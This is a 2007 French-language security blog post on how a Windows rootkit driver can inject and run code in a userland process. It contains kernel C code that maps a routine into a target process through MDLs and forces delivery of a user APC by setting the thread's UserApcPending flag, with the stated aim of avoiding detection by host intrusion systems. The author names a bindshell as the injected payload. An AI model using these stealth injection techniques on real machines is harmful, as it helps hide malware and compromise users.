Archive for août 20th, 2007

Steelin ur t3h m3g4hurtzzzzz !!

Encore un titre à faire fuir n’importe quel être normalement constitué, au début j’ai faillit écrire tout le post de la même façon mais je crois que les fautes font déjà assez branleur comme ca. Il faut dire qu’en ce moment j’ai un peu de mal à trouver de bonnes idées à poster, j’ai beau me drogué, rien n’y fait. Il faut dire que combattre un ennemi aussi vicieux que l’idle est loin d’être aisé, on se laisse vite tenter par des choses appelées « télévision » dans lesquelles ont peut observer un monde ou la bêtise semble reine … Au début on se dit qu’on ne deviendra jamais comme eux, puis à force de les contempler notre cerveau commence à se transformer pour ressembler au leurs. Après on s’étonne que le QI baisse, déjà que le mien n’est pas bien élevé, regarder la TV ou troller sur irc (c’est quasiment le même niveau de réflexion) n’aide pas à le maintenir. J’essaye de combattre cette nuisance et je crois que le meilleur moyen est de poser devant le laptop, de mettre du bon métal à fond puis de lire des blogs/sites chinois/russes pour récupérer de l’idée. Cet ainsi qu’est né ce poste, partant d’un constant simple, comment, quand un rootkit est installer sur une b0x lancer simplement un code depuis le kernel dans un context userland ? A première vue, on pourrait dire qu’en étant dans le noyau, réaliser cette opération est simple mais en y réfléchissant de près, qu’est ce qu’on connaît capable de faire ca ?

Crée un process pour exécuter notre code et se faire cramer plutôt crevé …
Injecter une DLL ? Cela revient à crée un thread lancé sur LoadLibrary.
Justement parlons de la création d’un thread par nous même dans un process existant, il suffit de voir le code CreateRemoteThread pour chier dans son froc …

kd> uf kernel32!CreateRemoteThread
kernel32!CreateRemoteThread:
7c81042c 6810040000      push    410h
7c810431 680806817c      push    offset kernel32!`string'+0x18 (7c810608)
7c810436 e88b20ffff      call    kernel32!_SEH_prolog (7c8024c6)
7c81043b a1cc46887c      mov     eax,dword ptr [kernel32!__security_cookie (7c8846cc)]
7c810440 8945e4          mov     dword ptr [ebp-1Ch],eax
7c810443 8b4d08          mov     ecx,dword ptr [ebp+8]
7c810446 898d44fcffff    mov     dword ptr [ebp-3BCh],ecx
7c81044c 8b750c          mov     esi,dword ptr [ebp+0Ch]
7c81044f 8b5d14          mov     ebx,dword ptr [ebp+14h]
7c810452 8b4518          mov     eax,dword ptr [ebp+18h]
7c810455 898534fcffff    mov     dword ptr [ebp-3CCh],eax
7c81045b 8b4520          mov     eax,dword ptr [ebp+20h]
7c81045e 898538fcffff    mov     dword ptr [ebp-3C8h],eax
7c810464 33d2            xor     edx,edx
7c810466 899548fcffff    mov     dword ptr [ebp-3B8h],edx
7c81046c 33c0            xor     eax,eax
7c81046e 8dbd4cfcffff    lea     edi,[ebp-3B4h]
7c810474 ab              stos    dword ptr es:[edi]
7c810475 8d8520fcffff    lea     eax,[ebp-3E0h]
7c81047b 50              push    eax
7c81047c f6451e01        test    byte ptr [ebp+1Eh],1
7c810480 0f85b8a60200    jne     kernel32!CreateRemoteThread+0x56 (7c83ab3e)

kernel32!CreateRemoteThread+0x5c:
7c810486 52              push    edx
7c810487 ff7510          push    dword ptr [ebp+10h]
7c81048a 51              push    ecx
7c81048b e88cfdffff      call    kernel32!BaseCreateStack (7c81021c)
7c810490 85c0            test    eax,eax
7c810492 0f8cafa60200    jl      kernel32!CreateRemoteThread+0x6a (7c83ab47)

kernel32!CreateRemoteThread+0x6d:
7c810498 33ff            xor     edi,edi
7c81049a 47              inc     edi
7c81049b 57              push    edi
7c81049c ffb528fcffff    push    dword ptr [ebp-3D8h]
7c8104a2 53              push    ebx
7c8104a3 ffb534fcffff    push    dword ptr [ebp-3CCh]
7c8104a9 8d8558fcffff    lea     eax,[ebp-3A8h]
7c8104af 50              push    eax
7c8104b0 e8eefeffff      call    kernel32!BaseInitializeContext (7c8103a3)
7c8104b5 33db            xor     ebx,ebx
7c8104b7 53              push    ebx
7c8104b8 56              push    esi
7c8104b9 8d85e0fbffff    lea     eax,[ebp-420h]
7c8104bf 50              push    eax
7c8104c0 e8258effff      call    kernel32!BaseFormatObjectAttributes (7c8092ea)
7c8104c5 57              push    edi
7c8104c6 8d8d20fcffff    lea     ecx,[ebp-3E0h]
7c8104cc 51              push    ecx
7c8104cd 8d8d58fcffff    lea     ecx,[ebp-3A8h]
7c8104d3 51              push    ecx
7c8104d4 8d8d3cfcffff    lea     ecx,[ebp-3C4h]
7c8104da 51              push    ecx
7c8104db 8bb544fcffff    mov     esi,dword ptr [ebp-3BCh]
7c8104e1 56              push    esi
7c8104e2 50              push    eax
7c8104e3 68ff031f00      push    1F03FFh
7c8104e8 8d8550fcffff    lea     eax,[ebp-3B0h]
7c8104ee 50              push    eax
7c8104ef ff154414807c    call    dword ptr [kernel32!_imp__NtCreateThread (7c801444)]

Ici on a crée l'objet ETHREAD dans le kernel.

7c8104f5 898554fcffff    mov     dword ptr [ebp-3ACh],eax
7c8104fb 3bc3            cmp     eax,ebx
7c8104fd 0f8c47a60200    jl      kernel32!CreateRemoteThread+0xd4 (7c83ab4a)

kernel32!CreateRemoteThread+0xf4:
7c810503 895dfc          mov     dword ptr [ebp-4],ebx
7c810506 83feff          cmp     esi,0FFFFFFFFh
7c810509 7553            jne     kernel32!CreateRemoteThread+0x1a6 (7c81055e)

kernel32!CreateRemoteThread+0x100:
7c81050b 53              push    ebx
7c81050c 6a1c            push    1Ch
7c81050e 8d85f8fbffff    lea     eax,[ebp-408h]
7c810514 50              push    eax
7c810515 53              push    ebx
7c810516 ffb550fcffff    push    dword ptr [ebp-3B0h]
7c81051c ff152811807c    call    dword ptr [kernel32!_imp__NtQueryInformationThread (7c801128)]

7c810522 898554fcffff    mov     dword ptr [ebp-3ACh],eax
7c810528 3bc3            cmp     eax,ebx
7c81052a 0f8c3aa60200    jl      kernel32!CreateRemoteThread+0x121 (7c83ab6a)

kernel32!CreateRemoteThread+0x139:
7c810530 53              push    ebx
7c810531 6a08            push    8
7c810533 8d8548fcffff    lea     eax,[ebp-3B8h]
7c810539 50              push    eax
7c81053a 57              push    edi
7c81053b 53              push    ebx
7c81053c 53              push    ebx
7c81053d 57              push    edi
7c81053e ff15ec14807c    call    dword ptr [kernel32!_imp__RtlQueryInformationActivationContext (7c8014ec)]
7c810544 898554fcffff    mov     dword ptr [ebp-3ACh],eax
7c81054a 3bc3            cmp     eax,ebx
7c81054c 0f8c30a60200    jl      kernel32!CreateRemoteThread+0x157 (7c83ab82)

kernel32!CreateRemoteThread+0x164:
7c810552 399d48fcffff    cmp     dword ptr [ebp-3B8h],ebx
7c810558 0f852b4d0200    jne     kernel32!CreateRemoteThread+0x16c (7c835289)

kernel32!CreateRemoteThread+0x1a6:
7c81055e 803d0840887c00  cmp     byte ptr [kernel32!BaseRunningInServerProcess (7c884008)],0
7c810565 0f8567b20100    jne     kernel32!CreateRemoteThread+0x1f0 (7c82b7d2)

kernel32!CreateRemoteThread+0x1af:
7c81056b 8b8550fcffff    mov     eax,dword ptr [ebp-3B0h]
7c810571 89854cffffff    mov     dword ptr [ebp-0B4h],eax
7c810577 8b853cfcffff    mov     eax,dword ptr [ebp-3C4h]
7c81057d 898550ffffff    mov     dword ptr [ebp-0B0h],eax
7c810583 8b8540fcffff    mov     eax,dword ptr [ebp-3C0h]
7c810589 898554ffffff    mov     dword ptr [ebp-0ACh],eax
7c81058f 6a0c            push    0Ch
7c810591 6801000100      push    10001h
7c810596 53              push    ebx
7c810597 8d8524ffffff    lea     eax,[ebp-0DCh]
7c81059d 50              push    eax
7c81059e ff153410807c    call    dword ptr [kernel32!_imp__CsrClientCallServer (7c801034)]

Notifie le subsystem (csrss) avec un LPC qu'un thread a été crée.

7c8105a4 8b8544ffffff    mov     eax,dword ptr [ebp-0BCh]
7c8105aa 898554fcffff    mov     dword ptr [ebp-3ACh],eax

kernel32!CreateRemoteThread+0x229:
7c8105b0 399d54fcffff    cmp     dword ptr [ebp-3ACh],ebx
7c8105b6 0f8c17a60200    jl      kernel32!CreateRemoteThread+0x231 (7c83abd3)

kernel32!CreateRemoteThread+0x23d:
7c8105bc 8b8538fcffff    mov     eax,dword ptr [ebp-3C8h]
7c8105c2 3bc3            cmp     eax,ebx
7c8105c4 7408            je      kernel32!CreateRemoteThread+0x24f (7c8105ce)

kernel32!CreateRemoteThread+0x247:
7c8105c6 8b8d40fcffff    mov     ecx,dword ptr [ebp-3C0h]
7c8105cc 8908            mov     dword ptr [eax],ecx

kernel32!CreateRemoteThread+0x24f:
7c8105ce f6451c04        test    byte ptr [ebp+1Ch],4
7c8105d2 7513            jne     kernel32!CreateRemoteThread+0x268 (7c8105e7)

kernel32!CreateRemoteThread+0x255:
7c8105d4 8d851cfcffff    lea     eax,[ebp-3E4h]
7c8105da 50              push    eax
7c8105db ffb550fcffff    push    dword ptr [ebp-3B0h]
7c8105e1 ff153814807c    call    dword ptr [kernel32!_imp__NtResumeThread (7c801438)]

Lance le thread ...

kernel32!CreateRemoteThread+0x268:
7c8105e7 834dfcff        or      dword ptr [ebp-4],0FFFFFFFFh
7c8105eb e829000000      call    kernel32!CreateRemoteThread+0x289 (7c810619)
7c8105f0 8b8550fcffff    mov     eax,dword ptr [ebp-3B0h]
7c8105f6 8b4de4          mov     ecx,dword ptr [ebp-1Ch]
7c8105f9 e80491ffff      call    kernel32!__security_check_cookie (7c809702)
7c8105fe e8fe1effff      call    kernel32!_SEH_epilog (7c802501)
7c810603 c21c00          ret     1Ch

En gros, crée un thread consiste à appeler NtCreateThread et NtResumeThread (2 API non exportées par le noyau), sans oublié de notifié le subsystem qu’un thread à été lancé, bref ceci n’est pas forcément très furtif :]

Il est aussi possible d’hijacker un thread existant en utilisant les API :
ZwOpenThread
NtSuspendThread //non exporté par le noyau
PsGetContextThread
PsSetContextThread
NtResumeThread //non exporté par le noyau
ZwClose
Cela cependant relève plus du parcourt du combattant car les API NtSuspendThread et NtResumeThread n’étant pas exportées par ntoskrnl, il n’est possible de les utiliser dans un driver les retrouvant dynamiquement, le plus simple étant de les obtenir à partir de leur index dans la KiServiceTable.
Dans le cas de la création d’un thread, il reste le problème de l’allocation du code dans la mémoire. En effet effectuer un ZwAllocateVirtualMemory puis un ZwWriteVirtualMemory et enfin un ZwFreeVirtualMemory demande pas mal de code. On pourrait se dire qu’il serait plus simple de directement mapper les pages kernel contenant le code qu’on désire lancer, c’est vrai mais dans ce cas il faut manipuler un objet de type « section », le mapping consistera a faire les appels :
ZwCreateSection
ZwMapViewOfSection
ZwUnmapViewOfSection
ZwClose
Le problème c’est que le handle renvoyé lors de l’appel à ZwCreateSection sera crée dans le context du thread qui l’aura appelé, ainsi comme on doit le manipuler après avec les autres API, il faut s’assurer que notre system thread s’exécute dans le contexte du process ou l’on veut mapper les pages.

Bref, si on veut injecter du code depuis le kernel dans un process, on a 2 ennuis :
1) Comment mapper le code de façon simple ?
2) Comment l’exécuter sans se prendre la tête ?

De plus il faut garder à l’esprit qu’un HIDS peut très bien surveiller les appels natifs (tous les Zw*) et ainsi par exemple bloquer l’appel à ZwAllocateVirtualMemory dans un process non-authorisé.

L’idéal serait donc de pouvoir réaliser ces 2 opérations sans utiliser d’API natives mais uniquement celle que nous fournit le noyau.

La méthode que j’expose ici à été reprise d’un code chinois, dont les gars là bas, doivent tourner avec des drogues beaucoup plus puissant que les chocapicz ….

L’idée consiste à mapper le code dans un process en jouant avec les MDL (Memory Descriptor List) puis à l’éxécuter avec un APC crée depuis notre driver.

Le mapping s’effectue en créant un MDL sur notre routine (faisant partie de notre driver) avec un IoAllocateMdl, ensuite il faut locker les pages dans le kernel, pour empêcher quelles soient swappées, puis les mapper avec un MmMapLockedPagesSpecifyCache (suffit de lire la doc du DDK et tout va bien :p). Au final ca donne ca :

pMDL=IoAllocateMdl((PVOID)&ApcRoutine, 0x15E, FALSE, FALSE, NULL); //0x15E=sizeof(code)
	if(!pMDL)
	{
		DbgPrint("Error with IoAllocateMdln");
		PsTerminateSystemThread(STATUS_SUCCESS);
	}

	__try
	{
		MmProbeAndLockPages(pMDL, KernelMode, IoWriteAccess);
	}
	__except(EXCEPTION_EXECUTE_HANDLER)
	{
		IoFreeMdl(pMDL);
		DbgPrint("Error with MmProbeAndLockPagesn");
		PsTerminateSystemThread(STATUS_SUCCESS);
	}

	KeStackAttachProcess((PEPROCESS)Process, &ApcState);

	__try
	{
		ApcMappedAddress=MmMapLockedPagesSpecifyCache(pMDL,
													UserMode,
													MmCached,
													NULL,
													FALSE,
													NormalPagePriority);
	}
	__except(EXCEPTION_EXECUTE_HANDLER)
	{
		MmUnlockPages(pMDL);
		IoFreeMdl(pMDL);
		DbgPrint("Error with MmMapLockedPagesSpecifyCachen");
		PsTerminateSystemThread(STATUS_SUCCESS);
	}

	if(!ApcMappedAddress)
	{
		KeUnstackDetachProcess(&ApcState);
		MmUnlockPages(pMDL);
		IoFreeMdl(pMDL);
		DbgPrint("Error with MmMapLockedPagesSpecifyCachen");
		PsTerminateSystemThread(STATUS_SUCCESS);
	}

Notez l’appel à KeStackAttachProcess, cette magnifique API permet d’attacher notre thread au context d’un process à partir de son EPROCESS, on s’assure ainsi que l’appel à MmMapLockedPagesSpecifyCache avec le paramètre UserMode mappera bien les pages dans le userspace du process visé.

Ensuite, il faut envoyer un APC à un des threads du process, dans notre cas on utilise un userland APC, le petit souci c’est que comme le dit la doc, un userland APC n’est exécuté que si un thread est à la fois Waiting et Alertable, en il faut qu’il est appelé une de ces API :
SleepEx
SignalObjectAndWait
MsgWaitForMultipleObjectsEx
WaitForMultipleObjectsEx
WaitForSingleObjectEx
En mettant le booléen bAlertable à TRUE, ce qui n’est pas forcément le cas ! Cela empêche donc notre APC d’être exécuté, ouinz …

Sauf, si on trick comme un moine tibétain, en effet l’API KiInsertQueueApc qui se charge de placer l’APC sur le thread, notifiera ce dernier qu’il doit exécuter un APC en plaçant le flag UserApcPending de la structure KTHREAD à 1. En ce qui concerne l’APC il sera délivré lors du retour du syscall respectant ainsi l’algorithme suivant :

ExitFromSystem:
	disable interrupts;
	IF Previous IRQL == 0 THEN
		Get current TCB address;
		IF Previous mode == Kernel THEN
			IF Tcb.KernelApcPending THEN
				IRQL = 1;
				Call kernel APC delivery code;
			END IF;
		ELSEIF Tcb.UserApcPending THEN
			IRQL = 1;
			Call user APC delivery code;
		END IF;
	END IF;
	Restore state and continue execution;

Voila ce que ca peut donner dans le monde réel :

kd> kv
ChildEBP RetAddr  Args to Child
f94f4cf8 804e6112 00000000 f94f4d64 0032054e nt!KiInitializeUserApc (FPO: [Non-Fpo])
f94f4d4c 804de855 00000001 00000000 f94f4d64 nt!KiDeliverApc+0x1d5 (FPO: [Non-Fpo])
f94f4d4c 7c91eb94 00000001 00000000 f94f4d64 nt!KiServiceExit+0x58 (FPO: [0,0] TrapFrame @ f94f4d64)
[---------------------------------------------------------------------------------------------------]
0012ff44 7c91d85c 7c8023ed 00000000 0012ff78 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
0012ff48 7c8023ed 00000000 0012ff78 00370031 ntdll!NtDelayExecution+0xc (FPO: [2,0,0])
0012ffa0 7c802451 00001388 00000000 0012ffc0 kernel32!SleepEx+0x61 (FPO: [Non-Fpo])
0012ffb0 0040022f 00001388 0012ffb0 0012fff0 kernel32!Sleep+0xf (FPO: [Non-Fpo])
WARNING: Stack unwind information not available. Following frames may be wrong.
0012ffc0 7c816fd7 00370031 002d0031 7ffd6000 apc_test+0x22f
0012fff0 00000000 00400220 00000000 78746341 kernel32!BaseProcessStart+0x23 (FPO: [Non-Fpo])

Ensuite si c’est un user APC, on se retrouve dans la stack userland du thread, l’APC étant exécuté sous forme d’exception :

kd> kv
ChildEBP RetAddr  Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012fc68 7c91eac7 00000000 0000001c 00000000 0x32054e
0012ffa0 7c802451 00001388 00000000 0012ffc0 ntdll!KiUserApcDispatcher+0x7
0012ffb0 0040022f 00001388 0012ffb0 0012fff0 kernel32!Sleep+0xf (FPO: [Non-Fpo])
0012ffc0 7c816fd7 00370031 002d0031 7ffd6000 apc_test+0x22f
0012fff0 00000000 00400220 00000000 78746341 kernel32!BaseProcessStart+0x23 (FPO: [Non-Fpo])

Donc, si on modifie nous même le flag UserApcPending du KTHREAD, que le thread soit Running ou Waiting, on est sur que lors du retour du prochain syscall, notre APC sera délivré, w00t c’est n111ce !
J’ai oublié de précisé que le code injecté doit-être générique, c’est à dire qu’il ne doit appeler aucunes API userland avec une adresse hardcodé.

Pour information, voici les prototypes de KeInitializeApc et KeInsertQueueApc :

VOID
KeInitializeApc (
    __out PRKAPC Apc,
    __in PRKTHREAD Thread,
    __in KAPC_ENVIRONMENT Environment,
    __in PKKERNEL_ROUTINE KernelRoutine,
    __in_opt PKRUNDOWN_ROUTINE RundownRoutine,
    __in_opt PKNORMAL_ROUTINE NormalRoutine,
    __in_opt KPROCESSOR_MODE ApcMode,
    __in_opt PVOID NormalContext
    )

Routine Description:

    This function initializes a kernel APC object. The thread, kernel
    routine, and optionally a normal routine, processor mode, and normal
    context parameter are stored in the APC object.

Arguments:

    Apc - Supplies a pointer to a control object of type APC.

    Thread - Supplies a pointer to a dispatcher object of type thread.

    Environment - Supplies the environment in which the APC will execute.
        Valid values for this parameter are: OriginalApcEnvironment,
        AttachedApcEnvironment, CurrentApcEnvironment, or InsertApcEnvironment

    KernelRoutine - Supplies a pointer to a function that is to be
        executed at IRQL APC_LEVEL in kernel mode.

    RundownRoutine - Supplies an optional pointer to a function that is to be
        called if the APC is in a thread's APC queue when the thread terminates.

    NormalRoutine - Supplies an optional pointer to a function that is
        to be executed at IRQL 0 in the specified processor mode. If this
        parameter is not specified, then the ProcessorMode and NormalContext
        parameters are ignored.

    ApcMode - Supplies the processor mode in which the function specified
        by the NormalRoutine parameter is to be executed.

    NormalContext - Supplies a pointer to an arbitrary data structure which is
        to be passed to the function specified by the NormalRoutine parameter.

Return Value:

    None.
--*/    

BOOLEAN
KeInsertQueueApc (
    __inout PRKAPC Apc,
    __in_opt PVOID SystemArgument1,
    __in_opt PVOID SystemArgument2,
    __in KPRIORITY Increment
    )

/*++

Routine Description:

    This function inserts an APC object into the APC queue specifed by the
    thread and processor mode fields of the APC object. If the APC object
    is already in an APC queue or APC queuing is disabled, then no operation
    is performed. Otherwise the APC object is inserted in the specified queue
    and appropriate scheduling decisions are made.

Arguments:

    Apc - Supplies a pointer to a control object of type APC.

    SystemArgument1, SystemArgument2 - Supply a set of two arguments that
        contain untyped data provided by the executive.

    Increment - Supplies the priority increment that is to be applied if
        queuing the APC causes a thread wait to be satisfied.

Return Value:

    If the APC object is already in an APC queue or APC queuing is disabled,
    then a value of FALSE is returned. Otherwise a value of TRUE is returned.

--*/

Aussi, comme ne nous savons pas quand notre APC sera délivré, il faut utiliser un Event, afin que notre code injecté, en appelant SetEvent, nous prévienne qu’il a finit d’exécuté le code. Après quand tout est finit, on unmap les pages, on les déverrouille et on supprime le MDL.

Pour l’instant le code marche, le code injecté est le bindshell que j’ai posté la dernière fois. Sauf qu’au moment de quitter j’ai un méchant deadlock qui parfois fait planter à la fois la VM et mon laptop, w0w funny …

J’essaye de corriger ce leger bug :] puis je vous up le POC.

Références :
Using MDLs
http://msdn2.microsoft.com/en-us/library/aa489506.aspx

Inside NT’s Asynchronous Procedure Call
http://www.ddj.com/windows/184416590

Do Waiting Threads Receive Alerts and APCs?
http://msdn2.microsoft.com/en-us/library/aa490226.aspx

11 comments août 20th, 2007


Calendar

août 2007
L Ma Me J V S D
« juil   sept »
 12345
6789101112
13141516171819
20212223242526
2728293031  

Posts by Month

Posts by Category